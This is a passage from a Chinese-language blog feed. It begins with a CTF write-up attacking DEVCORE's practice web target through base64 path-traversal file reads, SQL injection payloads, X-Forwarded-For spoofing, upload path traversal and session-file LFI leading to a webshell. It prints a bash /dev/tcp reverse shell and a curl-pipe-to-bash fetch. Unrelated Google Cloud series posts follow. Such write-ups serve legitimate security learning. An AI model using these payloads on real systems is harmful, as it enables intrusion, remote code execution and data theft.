&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d68ad-i6Pk2gV.png"&gt;根據一點點的小直覺，可以猜出 ID 的參數是透過 Base64 編碼的 (因為結尾有出現&lt;code&gt;=&lt;/code&gt;)- 解碼後可以看出是圖片的檔名&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/740d8-VxSOnZ7.png"&gt;而直接訪問則會出現印表機的圖片- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/355d1-S515CC1.png"&gt;我們可以合理的猜測這可能有一個任意讀檔，或是 LFI 的漏洞，前提是需要把路徑轉 Base64 再放入 ID- 首先測試 &lt;code&gt;/etc/passwd&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;透過 &lt;code&gt;echo -n '../../../../../../../etc/passwd' | base64 -w0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;可以取得 &lt;code&gt;Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;再把 Base64 的結果串上網址的 ID，用 curl 送 request&lt;/li&gt;
&lt;li&gt;發現可以順利取得 &lt;code&gt;/etc/passwd&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/966d1-8u1ZWOG.png"&gt;&lt;/li&gt;
&lt;li&gt;而且告訴了我們 Flag 在 php 原始碼裡面至此，可以非常合理的確認我們可以讀檔了我們也可以把指令寫的更直觀一點- &lt;code&gt;curl http://web.ctf.devcore.tw/image.php?id=$(echo -n '../../../../../../../etc/passwd' | base64 -w0)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;未來只需要修改路徑就可以快速發送 Requests尋找網頁根目錄- 通常，預設的網頁根目錄會放在 &lt;code&gt;/var/www/html&lt;/code&gt;但這個網站看起來有刻意的設計過，所以檔案目標不在這邊&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2f542-6JOe6a2.png"&gt;在現代，為了方便，大多數的服務都會透過 Docker 來進行部屬 (特別是 CTF 題目，被打爛了可以快速砍掉重架)，而 Docker 通常會透過 Mount 目錄等方法，使 Docker 內外互通- 我們可以透過 &lt;code&gt;/proc/1/mountinfo&lt;/code&gt; 或是 &lt;code&gt;/proc/self/mounts&lt;/code&gt; 看到一些掛載的資訊&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/aa7c4-6JxkfnC.png"&gt;&lt;/li&gt;
&lt;li&gt;從上面的一堆垃圾可以確認我們真的在 docker 裡面&lt;/li&gt;
&lt;li&gt;另外我們可以注意到下面有一些有趣的東西&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/share/nginx/images&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/share/nginx/b8ck3nd&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/share/nginx/frontend&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;我們可以合理懷疑原始碼就藏在這幾個路徑裡面取得原始碼- 前端首頁 (後面只寫路徑)&lt;code&gt;curl http://web.ctf.devcore.tw/image.php?id=$(echo -n '../../../../../../../usr/share/nginx/frontend/index.php' | base64 -w0)&lt;/code&gt;可以發現裡面有 &lt;code&gt;require_once('include.php');&lt;/code&gt;前端 include- &lt;code&gt;/usr/share/nginx/frontend/include.php&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4bbe2-uopkjq9.png"&gt;&lt;/li&gt;
&lt;li&gt;就順利取得 Flag 1 了前端 image- &lt;code&gt;/usr/share/nginx/frontend/image.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;可以發現它只是 Base64 解開丟 &lt;code&gt;readfile($file);&lt;/code&gt;，所以沒有 LFI ，只能任意讀檔官方報告&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="-"&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b9630-OwUZxEz.png"&gt;&lt;/h2&gt;
&lt;h2 id="弱點-02broken-access-control"&gt;弱點 02：Broken Access Control&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;開始玩一下網頁的功能立刻訂購&lt;code&gt;index.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ec43f-feoMDXA.png"&gt;訂購成功- &lt;code&gt;submit.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9a30c-bkD4FI2.png"&gt;訂單資訊- &lt;code&gt;order.php?id=35163&amp;amp;sig=PFRo8eZYWmnXmM4UJfApOvPZlnBtQoIsoRejgCzlIe5fkPu8FnxhYmD56zlSblHY&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;雖然我們看到了一些參數，但不需要急著 SQL injection，因為我們可以透過第一個漏洞來讀原始碼，確認有沒有漏洞查看收據- &lt;code&gt;receipt.php?id=35163&amp;amp;sig=PFRo8eZYWmnXmM4UJfApOvPZlnBtQoIsoRejgCzlIe5fkPu8FnxhYmD56zlSblHY&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/97aa3-WHIrJCX.png"&gt;列印- 按下去後會出現一個匯出 PDF 的頁面&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e9144-U2c8Vgb.png"&gt;匯出 PDF- &lt;code&gt;print.php?id=35163&amp;amp;sig=PFRo8eZYWmnXmM4UJfApOvPZlnBtQoIsoRejgCzlIe5fkPu8FnxhYmD56zlSblHY&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8c75a-PvrYsRy.png"&gt;觀察以上幾個頁面的原始碼，我們可以快速的發現 &lt;code&gt;print.php&lt;/code&gt; 上面有一個 SQL injection 的弱點 &lt;code&gt;php $res = $pdo-&amp;gt;query(&amp;quot; SELECT * FROM orders WHERE sig_hash = '$sig_hash' AND id = $id LIMIT 1 &amp;quot;, PDO::FETCH_ASSOC);&lt;/code&gt;- 使用者可控 &lt;code&gt;id&lt;/code&gt; 的部分我們可以隨意來寫個&lt;code&gt;http://web.ctf.devcore.tw/print.php?sig=1&amp;amp;id=1 or 1=1&lt;/code&gt;然後就拿到 Flag 了 ?__?&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5c687-dRSdji9.png"&gt;官方報告- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/25663-01eHh4h.png"&gt;欸好ㄛ，我的方法是一個非預期解的意思，那我們來看一下正規解- &lt;code&gt;http://web.ctf.devcore.tw/order.php?id=1&amp;amp;sig[]=&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;就拿到 Flag 了&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/48c5d-JVKEzIm.png"&gt;&lt;/li&gt;
&lt;li&gt;而原理可以看官方報告上有詳述，主要就是因為 sig 參數給予一個 &lt;code&gt;[]&lt;/code&gt; 代表陣列，會讓 php 解到爛掉&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="弱點-04use-of-less-trusted-source"&gt;弱點 04：Use of Less Trusted Source&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;對，我先寫 4 ，因為我先解出 4 才找到 3 的&lt;/li&gt;
&lt;li&gt;剛剛我們找到了一個 SQL injection 的漏洞，所以可以用 SQL injection 來取得所有資料庫裡面的資料所以需要先透過 &lt;code&gt;information_schema&lt;/code&gt; 那一串套路去看 SQL 裡面有哪些 DB 、 Table 、 Column 再來選嗎?答案是不用的，因為我們已經有完整的 Source Code 所以可以直接看!觀察檔案- 從最最前面 mount 的資料夾中，我們可以看到其中有一個 &lt;code&gt;b8ck3nd&lt;/code&gt; 的資料夾&lt;/li&gt;
&lt;li&gt;&lt;code&gt;b8ck3nd/index.php&lt;/code&gt;裡面有 &lt;code&gt;include.php&lt;/code&gt; , &lt;code&gt;upload.php``b8ck3nd/include.php&lt;/code&gt;- 裡面有一段說到，我們的 IP 必須為 &lt;code&gt;['127.0.0.1', '172.18.11.89']&lt;/code&gt; 才能進入後台，不然會被導向首頁&lt;/li&gt;
&lt;li&gt;還有說到，沒有登入的話，會被導到 &lt;code&gt;login.php``b8ck3nd/login.php&lt;/code&gt;- 裡面有一段 &lt;code&gt;SELECT * FROM backend_users WHERE username = %s AND password = %s'&lt;/code&gt;它的 &lt;code&gt;username&lt;/code&gt; 跟 &lt;code&gt;password&lt;/code&gt; 都會經過 quote，所以不能從這邊直接的進行 SQL injection&lt;/li&gt;
&lt;li&gt;但我們可以確定 Table &lt;code&gt;backend_users&lt;/code&gt; 裡面一定有 &lt;code&gt;username&lt;/code&gt;, &lt;code&gt;password&lt;/code&gt; 這兩個 Column正式 SQL injection- 回到前一題的 SQL injection 如果我們給予 &lt;code&gt;or 1=1&lt;/code&gt; 的話，可以取得 Flag2 ，如果給予 &lt;code&gt;or 1=0&lt;/code&gt; 的話，則畫面會空白，最無腦的方法就是使用 Boolean based 的 SQL injection&lt;/li&gt;
&lt;li&gt;不過由於它回傳的是一個 PDF 檔案，所以 SQLMap 會解到壞掉這邊我使用 &lt;code&gt;import pdftotext&lt;/code&gt; 來讀取 PDF 的內容，如果 &lt;code&gt;steven&lt;/code&gt; 這個詞出現在 PDF 中，就代表 True ，不然就代表 False&lt;/li&gt;
&lt;li&gt;自己刻一個 Binary Search 的 Boolean Based SQL injection Payload 就可以爆出資料庫的所有資料了，我有程式碼但寫得很醜，就先不公布ㄌ XDD。&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6b2af-Spg2OJ4.png"&gt;另外一種解法 (Wii Wu 提供)- 其實可以透過 UNION Based 的方法來取&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://web.ctf.devcore.tw/print.php?id=-1 UNION SELECT id as id, username as email, password AS phone ,NULL,NULL,NULL,NULL,NULL,NULL FROM backend_users&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/59b89-XuljiRm.png"&gt;至此我們可以取得- &lt;code&gt;username&lt;/code&gt; : &lt;code&gt;admin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;password&lt;/code&gt; : &lt;code&gt;u=479_p5jV:Fsq(2&lt;/code&gt;回到前面說的 &lt;code&gt;b8ck3nd/include.php&lt;/code&gt;- 我們必須要使用 &lt;code&gt;127.0.0.1&lt;/code&gt; 或是 &lt;code&gt;172.18.11.89&lt;/code&gt; IP 才能進入後台&lt;/li&gt;
&lt;li&gt;最常見的方法是透過修改 &lt;code&gt;X-Forwarded-For&lt;/code&gt; 的 Header 來進行達成詳見 : &lt;a href="https://devco.re/blog/2014/06/19/client-ip-detection/"&gt;https://devco.re/blog/2014/06/19/client-ip-detection/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;通常大多數人會使用 BurpSuite 進行修改，不過我個人推薦使用更懶人的 &lt;a href="https://addons.mozilla.org/zh-TW/firefox/addon/x-forwarded-for-injector/"&gt;Firefox Plugin&lt;/a&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/973fb-5ZPJqKN.png"&gt;順利訪問後台 &lt;code&gt;http://web.ctf.devcore.tw/b8ck3nd/login.php&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/33c2f-6ALeobD.png"&gt;可以使用上述的帳密進行登入，取得 Flag 4- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/578de-Qh77w9q.png"&gt;官方報告- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cc809-CZSvwcE.png"&gt;&lt;/li&gt;
&lt;li&gt;好的，看起來很符合&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="--但我的-flag3-去哪了-qq"&gt;- 但我的 Flag3 去哪了 QQ&lt;/h2&gt;
&lt;h2 id="弱點-03sql-injection"&gt;弱點 03：SQL Injection&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;其實我合理猜測是因為我們快速地透過原始碼取得 Column 跟 Table 進行登入，但省略了某些東西，Flag 在裡面。因為至今還沒有出現 SQL injection 的弱點報告，但我們都透過 SQLinjection 取得兩個 Flag 了 XDDDD&lt;/li&gt;
&lt;li&gt;接下來我就直接借用 Wii Wu 提供的 Union Based 來寫使用 SQL 取得 DB, Table, Column 的老梗來找&lt;/li&gt;
&lt;li&gt;但我想反著找，看看 &lt;code&gt;backend_users&lt;/code&gt; 裡面有沒有什麼有趣的其他 Column&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://web.ctf.devcore.tw/print.php?id=-1 UNION SELECT NULL, NULL, group_concat(column_name), NULL, NULL, NULL, NULL, NULL, NULL FROM information_schema.columns WHERE table_name='backend_users'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b31f0-o31GKDh.png"&gt;&lt;/li&gt;
&lt;li&gt;我們可以看到還有一個 description 的 column取得 &lt;code&gt;description&lt;/code&gt; 欄位的值即為 Flag- &lt;code&gt;http://web.ctf.devcore.tw/print.php?id=-1 UNION SELECT NULL, NULL, description, NULL, NULL, NULL, NULL, NULL, NULL FROM backend_users&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/26729-0IH0UAf.png"&gt;官方報告&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="--1"&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/dad5c-Ywwd7gg.png"&gt;&lt;/h2&gt;
&lt;h2 id="弱點-05unrestricted-file-upload"&gt;弱點 05：Unrestricted File Upload&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;接下來繼續地回到了 Code Review 的環節&lt;code&gt;b8ck3nd/index.php&lt;/code&gt;裡面發現會把一些資訊傳到 &lt;code&gt;upload.php``b8ck3nd/upload.php&lt;/code&gt;- 程式分成了兩個部分如果透過 GET Method 進入，會回傳一段 JWT，但對於解題沒有任何幫助&lt;/li&gt;
&lt;li&gt;下面有一段是沒有任何前端對應的後端 API可以上傳檔案&lt;/li&gt;
&lt;li&gt;參數 &lt;code&gt;rename&lt;/code&gt; 可以指定檔案名稱&lt;/li&gt;
&lt;li&gt;參數 &lt;code&gt;folder&lt;/code&gt; 可以指定檔案資料夾會透過 &lt;code&gt;$filename = $folder.'/'.$filename;&lt;/code&gt; 直接把資料夾跟檔名進行串接&lt;/li&gt;
&lt;li&gt;很值觀的猜測可以用 folder 來進行任意位置寫入所以我們可以隨便上傳一個檔案看看，但要記得帶上 Header 跟 Session Cookie，但當大家看到這篇時，理論上下面的 Session 已經過期ㄌ- &lt;code&gt;echo meow &amp;gt; meow.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Session Cookie 可以透過瀏覽器 F12 取得&lt;/li&gt;
&lt;li&gt;&lt;code&gt;curl -H 'X-Forwarded-For: 127.0.0.1' --cookie 'PHPSESSID=5qh67f4o30aa8r2313gjv8iucd' -F 'file=@meow.txt' -F 'rename=meow.txt' -F 'folder=../../../../../../tmp' http://web.ctf.devcore.tw/b8ck3nd/upload.php&lt;/code&gt;上面的 command 丟出去就可以取得 Flag5- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/98a59-GdtGfV5.png"&gt;官方報告&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="--2"&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1a4a6-0Mm0g9c.png"&gt;&lt;/h2&gt;
&lt;h2 id="弱點-06local-file-inclusion"&gt;弱點 06：Local File Inclusion&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;我覺得這一段是全部裡面最難的部分，我個人卡了超級超級久&lt;/li&gt;
&lt;li&gt;首先大家應該會非常直觀的想到如果我把程式碼寫到 &lt;code&gt;frontend/&lt;/code&gt;, &lt;code&gt;images/&lt;/code&gt;, 或 &lt;code&gt;b8ck3nd&lt;/code&gt;，是不是就可以成功地拿到 Webshell&lt;/li&gt;
&lt;li&gt;但事實真正的嘗試會發現這些目錄都不可寫回到觀察程式碼的部分- &lt;code&gt;frontend/include.php&lt;/code&gt;我們可以發現有一行 &lt;code&gt;require_once('langs/' . $_SESSION['lang'] . '.php');&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;而如果我們訪問 &lt;code&gt;frontend/index.php&lt;/code&gt; 就會呼叫到 &lt;code&gt;frontend/include.php&lt;/code&gt;所以 …… 這邊會是一個 LFI 的漏洞嗎?- LFI 的前提要是 Session 可控&lt;/li&gt;
&lt;li&gt;我們可以查資料發現到，PHP 的 Session 資料會放在 &lt;code&gt;/tmp/sess_{SESSION_ID}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/59021-plX6UPT.png"&gt;&lt;/li&gt;
&lt;li&gt;我們使用弱點 1 就可以快速的取得目前我們的 Session 資料那我們是不是可以把 Session 資料載下來，自己進行竄改之後達成 LFI 2 RCE 呢?- 假設我們使用弱點 6 寫入一個 Webshell 在 &lt;code&gt;/tmp/meowmeow.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;再來，控制 &lt;code&gt;$_SESSION['lang']&lt;/code&gt; ，設定為 &lt;code&gt;../../../../../../tmp/meowmeow&lt;/code&gt; (在&lt;code&gt;frontend/include.php&lt;/code&gt; 會自動幫我們加上 &lt;code&gt;.php&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;訪問網頁首頁即可取得 webshell首先我們先下載 &lt;code&gt;curl http://web.ctf.devcore.tw/image.php?id=$(echo -n '../../../../../../../tmp/sess_5qh67f4o30aa8r2313gjv8iucd' | base64 -w0) -o sess_meow&lt;/code&gt;- 內容是 &lt;code&gt;lang|s:5:&amp;quot;zh-tw&amp;quot;;user_id|s:1:&amp;quot;1&amp;quot;;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;就算不懂結構我們也可以猜出&lt;code&gt;zh-tw&lt;/code&gt; 是我們需要變更的部分&lt;/li&gt;
&lt;li&gt;&lt;code&gt;s:5&lt;/code&gt; 是後面接的字串長度所以我們準備一個檔案- &lt;code&gt;lang|s:33:&amp;quot;../../../../../../../tmp/meowmeow&amp;quot;;user_id|s:1:&amp;quot;1&amp;quot;;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;上傳到 &lt;code&gt;/tmp/sess_meowmeow&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;curl -H 'X-Forwarded-For: 127.0.0.1' --cookie 'PHPSESSID=5qh67f4o30aa8r2313gjv8iucd' -F 'file=@sess_meowmeow' -F 'rename=sess_meowmeow' -F 'folder=../../../../../../tmp' http://web.ctf.devcore.tw/b8ck3nd/upload.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;可以觀察確定上傳正確&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1e072-JYxdBro.png"&gt;再準備一個 webshell- `` 命名為 &lt;code&gt;meowmeow.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;上傳到 &lt;code&gt;/tmp/meowmeow.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;curl -H 'X-Forwarded-For: 127.0.0.1' --cookie 'PHPSESSID=5qh67f4o30aa8r2313gjv8iucd' -F 'file=@meowmeow.php' -F 'rename=meowmeow.php' -F 'folder=../../../../../../tmp' http://web.ctf.devcore.tw/b8ck3nd/upload.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;確認檔案上傳正確&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a83fc-5mzTa7g.png"&gt;最後我們只需要使用 &lt;code&gt;meowmeow&lt;/code&gt; 這個 Session ID 訪問 index.php 即可拿到 Webshell- &lt;code&gt;curl -H 'X-Forwarded-For: 127.0.0.1' --cookie 'PHPSESSID=meowmeow' http://web.ctf.devcore.tw/index.php?meow=ls&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/24cd2-1hCyJ81.png"&gt;當然我們也可以用酷炫的方法拿 Reverse Shell- (需要自備一個有對外 IP 的電腦或 Ngrok，不做這一段也可拿 Flag)&lt;/li&gt;
&lt;li&gt;首先在機器上準備一個 &lt;code&gt;s8787&lt;/code&gt; 檔案&lt;code&gt;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/{自己的IP}/8787 0&amp;gt;&amp;amp;1'&lt;/code&gt;輸入 &lt;code&gt;python3 -m http.server 8000&lt;/code&gt;- 開啟一個 Python HTTP Server在自己電腦上開一個 nc 接收- &lt;code&gt;rlwrap nc -nlvp 7877&lt;/code&gt; (沒有 rlwrap 就直接 nc 也可)&lt;code&gt;curl -H 'X-Forwarded-For: 127.0.0.1' --cookie 'PHPSESSID=meowmeow' 'http://web.ctf.devcore.tw/index.php?meow=curl%20http://{自己的IP}:8000/s8787%20%7C%20/bin/bash'&lt;/code&gt;執行下去後，會發現 Python HTTP Server 接收到了一個 Request- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8a0dc-sumZghO.png"&gt;我們的 nc 端也收到一個 Reverse Shell- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/dad59-EALEmrS.png"&gt;觀察根目錄的檔案- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7c82d-Ed5tzVq.png"&gt;&lt;/li&gt;
&lt;li&gt;我們會發現沒有權限讀 flag，但是我們有一個檔案叫做 &lt;code&gt;readflag&lt;/code&gt;，它有 SUID 且 Owner 是 Root&lt;/li&gt;
&lt;li&gt;透過 file 觀察可以確定它是一個執行檔&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/0kz80GO.png"&gt;直接執行 &lt;code&gt;./readflag&lt;/code&gt; 即可取得 Flag&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c0e06-JW65c0h.png"&gt;&lt;/p&gt;</description></item><item><title>[Day30] Cloud Meow Meow (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/10/15/day30-cloud-meow-meow/</link><pubDate>Fri, 15 Oct 2021 19:10:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/10/15/day30-cloud-meow-meow/</guid><description>&lt;p&gt;喵喵喵喵喵喵喵喵！！！終於寫完 30 天的文章了，這 30 天中，我們從雲端的概念開始，進入了 Google Cloud 的世界。接著開始介紹了 Google 中的各種運算資源、儲存資源、網路服務，最後介紹了微服務、DevOps 等潮潮設計的方法。&lt;/p&gt;
&lt;p&gt;這是我第一次參加鐵人賽，真的非常高興可以完賽，雖然途中真的一度有想放棄的想法發生，每天寫文章真的是一件很累人的事QQ，&lt;del&gt;所以那幾天的文章都非常的短，就當作讓我偷懶一下ㄅ喵喵&lt;/del&gt;。&lt;br&gt;
如果過去 30 天的文章內容有任何不事宜，或是講解不清楚的地方，也請大家不吝於留言區告訴我！&lt;/p&gt;
&lt;p&gt;最後來講一下我的感言吧，真的非常感謝 Google Cloud 在今年舉辦了 Google Cloud Student Sprint Project，提供了我非常多的資源對於 Google Cloud 方面。我也要很謝謝我當初的 Mentor : Eric 在每周的 Meeting 都讓我問爆，感謝計畫中的所有組員讓我有動力可以完成了這項的計畫，考取到 ACE 證照。&lt;/p&gt;
&lt;p&gt;再來我也要感謝 iTHome 舉辦了這個比賽，讓我這個金魚腦在學會這些知識，還沒有完全忘記前就重新用自己的話重新整理了一次！也感謝參加鐵人賽的組員給予我的幫忙與鼓勵！&lt;/p&gt;</description></item><item><title>[Day29] Cost Plaining (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/10/14/day29-cost-plaining/</link><pubDate>Thu, 14 Oct 2021 19:10:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/10/14/day29-cost-plaining/</guid><description>&lt;p&gt;終於到了倒數第二篇文章了，今天來介紹雲端付費相關的計畫，透過一些小技巧，可以減少在雲端上的很多開銷哦！&lt;/p&gt;
&lt;p&gt;首先要介紹的是 &lt;a href="https://cloud.google.com/products/calculator/"&gt;Google Cloud Pricing Calculator&lt;/a&gt;，透過計算機，我們可以快速的估計機器的相關成本。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/D0cTQLN.png"&gt;&lt;/p&gt;
&lt;p&gt;Compute Instances 的 VM，在啟動一段時間後，如果 CPU 使用率或 Memory 使用率一直很低，Google Cloud Console 上也會有建議，可以依照建議修改自己的機器配置。VM 的計價方式也有一些優惠，如果 30 天內持續租用，可以獲得較多的優惠！而如果是批次性運算的程式，沒有非常大的即時性需求，也可以試著採用 Preemptible VM instances。&lt;/p&gt;
&lt;p&gt;儲存相關的話，VM 的硬碟是可以在開機狀態下進行擴展的，所以不需要一開始就開的非常大，可以減少不少的開銷。也可以比較標準硬碟與兩種 SSD 的方案，是否真的有這些需求。Cloud Storage 若要存放長期，極少存取的備份檔案，可以優先的採用 Nearline 或 Coldline 、 Archive 等方式。&lt;/p&gt;
&lt;p&gt;我們也可以結合 Cloud 的 Monitoring 相關服務隨時監控各種服務的狀態，如有閒置或不合適的情形發生，就即時的進行處理。&lt;/p&gt;</description></item><item><title>[Day28] Security (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/10/13/day28-security/</link><pubDate>Wed, 13 Oct 2021 19:09:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/10/13/day28-security/</guid><description>&lt;p&gt;在網路世界中，安全永遠是最最重要的事情，而雲端安全當然也不例外。任何的安全問題都來自於人為的疏忽，部分雲端上面會遇到的安全問題，在地端的機器上也會遇到，例如常見的 OWASP TOP 10 上的網路攻擊，或是 DDoS 等。除了這種面對駭客的攻擊之外，我們也要注意公司內的意外&lt;del&gt;內賊&lt;/del&gt;部分，如&lt;a href="https://news.ltn.com.tw/news/society/breakingnews/2012042"&gt;這則新聞&lt;/a&gt;，三立電視的離職員工透過 Tor 返回原公司的 AWS 帳號中刪除檔案。&lt;/p&gt;
&lt;p&gt;今天我主要會介紹的是 Google Cloud 的管理層面，有哪些可以注意的地方，這邊會介紹人、機器與網路三個層面。&lt;/p&gt;
&lt;h2 id="人"&gt;人&lt;/h2&gt;
&lt;p&gt;人的問題為例，最最重要的就是 IAM 相關的管理，身為一個雲端的管理者需要使用資料夾的方式管理公司內的各個部分，並且掌握「保持最低權限」的原則，盡量的讓使用者在可以順利做事情的最低權限，特別注意 Owner 與 Editor 的權限不能無止盡的發。而當公司人員掉離部門或離開公司後，應該要立刻修改它的 IAM Rule。&lt;/p&gt;
&lt;h2 id="機器"&gt;機器&lt;/h2&gt;
&lt;p&gt;機器相關的問題，一樣回到 IAM 上，我們需要確保每台機器的 Services Account 權限是否合宜，是否有可能使用者或惡意的攻擊者從低權限的機器，藉由 Services Account 的 Rule 而橫向移動到其他抬高權限的機器之中。如果是自己管理的作業系統，需要確認作業系統是否有安全性的更新需要進行修補。而部屬的程式上的安全則暫時不在今天雲端的討論範圍內，可以參考我隔壁棚的滲透測試文章。&lt;/p&gt;
&lt;h2 id="網路"&gt;網路&lt;/h2&gt;
&lt;p&gt;網路層面的安全其實一樣基於「最低權限」的原則，一台不需要聯外的伺服器就不要給它 Public 的 IP，而需要對外的服務也需要透過防火牆來限制 Port Forwarding；可以透過 Google Cloud 的 Load Balancing 進行 DDoS 的檢測，並透過 Cloud CDN 或 Cloudflare 等 CDN 服務進行防禦。Google Cloud 也有提供 Cloud Armor 與 WAF 等服務保障網路層面的安全。&lt;/p&gt;</description></item><item><title>[Day27] Dev Ops (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/10/12/day27-dev-ops/</link><pubDate>Tue, 12 Oct 2021 19:09:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/10/12/day27-dev-ops/</guid><description>&lt;p&gt;其實這次就已經有一個鐵人賽組別完全是 DevOps 了，如果對於這個領域想要比較深入的了解，可以去看該組大大們的文章。我在這邊只打算輕鬆的介紹一下 DevOps 的概念。DevOps 是 Development 跟 Operations 的組合詞，重點是透過一系列的 pipeline 完成自動化的軟體開發與維運，可以簡單的交付軟體與變更架構。&lt;/p&gt;
&lt;p&gt;講到 DevOps，首先一定要提到的就是 Continuous Integration 、 Continuous Delivery (CI/CD) ，持續性整合與部屬。簡單來講，就是將程式碼的 Deploy 流程給自動化。而 CI ，持續整合，主要是透過自動化的 Build 程式，確保不會產生環境版本不一致的問題；程式也可以透過 Unit Test 的方式自動化的檢察功能是否正確。CD 持續部屬，則是自動化的將程式碼給 Deploy 到實際環境中，確保每次的更新都可以很順暢。&lt;/p&gt;
&lt;p&gt;以 Google Cloud 為例，我們可以將程式碼統一上傳至 Cloud Source Repositories 進行管理。接著，我們可以使用 Cloud Build 對程式碼進行編譯，或包裝成 Docker 的 Image。透過 Build Trigger 追蹤 Repositories 是否有更改，如果有任何的更動就自動化的觸發 Cloud Build。最終， Build 出來的 Container 可以儲存在 Container Registry 中。&lt;/p&gt;
